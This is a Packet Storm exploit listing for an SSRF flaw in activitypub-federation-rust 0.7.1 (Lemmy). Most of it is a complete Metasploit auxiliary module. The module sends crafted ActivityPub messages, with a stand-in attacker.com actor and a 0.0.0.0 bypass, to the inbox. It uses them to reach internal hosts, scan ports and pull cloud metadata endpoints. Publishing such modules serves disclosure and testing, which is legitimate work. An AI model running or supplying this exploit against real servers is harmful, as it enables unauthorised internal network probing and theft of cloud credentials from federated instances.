PACKETSTORM 6.5 MEDIUM

📄 Activitypub-federation-rust 0.7.1 Server-Side Request Forgery_PACKETSTORM:219062

6.5 / 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Description

This is a server-side request forgery scanner for Activitypub-federation-rust version 0.7.1...
Visit Original Source

Basic Information

ID PACKETSTORM:219062
Published Apr 17, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Activitypub-federation-rust 0.7.1 Lemmy ActivityPub SSRF Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/LemmyNet/activitypub-federation-rust/releases |
==================================================================================================================================

[+] Summary : This Metasploit auxiliary module targets a Server-Side Request Forgery (SSRF) vulnerability in Lemmy / ActivityPub implementations using the activitypub-federation-rust 0.7.1 library.
The issue allows crafted ActivityPub messages to trigger server-side requests to internal or restricted network resources.


[+] POC :

require 'json'
require 'time'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Lemmy ActivityPub SSRF (CVE-2026-33693)',
'Description' => %q{
Exploits SSRF via ActivityPub using 0.0.0.0 bypass.

Designed for CTF and controlled environments.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-33693']
],
'DisclosureDate' => '2026-03-23',
'License' => MSF_LICENSE
)
)

register_options([
OptString.new('TARGET_URI', [true, 'Base path', '/']),
OptString.new('INTERNAL_HOST', [true, 'Internal host', '0.0.0.0']),
OptString.new('INTERNAL_PORT', [false, 'Internal port']),
OptString.new('INTERNAL_PATH', [false, 'Internal path']),
OptEnum.new('ATTACK_TYPE', [true, 'Attack type',
'SINGLE', ['SINGLE','PORT_SCAN','METADATA']]),
OptString.new('PORTS', [false, 'Ports list', '80,443,8080']),
OptInt.new('SCAN_DELAY', [false, 'Delay', 1]),
OptBool.new('VERBOSE', [false, 'Verbose', false])
])
end

def run
print_status("Starting SSRF module")

case datastore['ATTACK_TYPE']
when 'SINGLE'
single_ssrf_attack
when 'PORT_SCAN'
port_scan_attack
when 'METADATA'
metadata_attack
end
end

def target_url
proto = datastore['SSL'] ? 'https' : 'http'
host = datastore['RHOSTS']
"#{proto}://#{host}:#{datastore['RPORT']}"
end

def create_payload(url)
{
'@context' => 'https://www.w3.org/ns/activitystreams',
'type' => 'Create',
'id' => "#{target_url}/test-#{rand(9999)}",
'actor' => 'https://attacker.com/actor',
'to' => ['https://www.w3.org/ns/activitystreams#Public'],
'object' => {
'type' => 'Note',
'attachment' => [
{
'type' => 'Link',
'href' => "http://#{url}"
}
]
}
}
end

def send_ssrf(url)
begin
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGET_URI'], 'inbox'),
'ctype' => 'application/activity+json',
'data' => create_payload(url).to_json
)

return res
rescue => e
vprint_error("Error: #{e}")
return nil
end
end

def single_ssrf_attack
host = datastore['INTERNAL_HOST']
port = datastore['INTERNAL_PORT']
path = datastore['INTERNAL_PATH']

url = host
url += ":#{port}" if port
url += "/#{path}" if path

print_status("Targeting #{url}")

res = send_ssrf(url)

if res
print_good("Response: #{res.code}")
print_line(res.body[0..200]) if res.body
else
print_error("No response")
end
end

def port_scan_attack
ports = datastore['PORTS'].split(',').map(&:to_i)
host = datastore['INTERNAL_HOST']

open_ports = []

ports.each do |p|
url = "#{host}:#{p}"
start = Time.now

res = send_ssrf(url)
elapsed = Time.now - start

if res && res.code != 404 && elapsed > 0.2
print_good("Port #{p} OPEN (#{res.code})")
open_ports << p
else
vprint_status("Port #{p} closed")
end

sleep datastore['SCAN_DELAY']
end

print_good("Open ports: #{open_ports.join(', ')}") unless open_ports.empty?
end

def metadata_attack
targets = [
"0.0.0.0/latest/meta-data/",
"0.0.0.0/computeMetadata/v1/",
"0.0.0.0/169.254.169.254/latest/"
]

targets.each do |t|
print_status("Trying #{t}")

res = send_ssrf(t)

if res && res.code == 200 && res.body
print_good("Metadata FOUND")
print_line(res.body[0..200])
else
vprint_status("No data")
end

sleep 1
end
end

def vprint_status(msg)
print_status(msg) if datastore['VERBOSE']
end

def vprint_error(msg)
print_error(msg) if datastore['VERBOSE']
end
end


Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.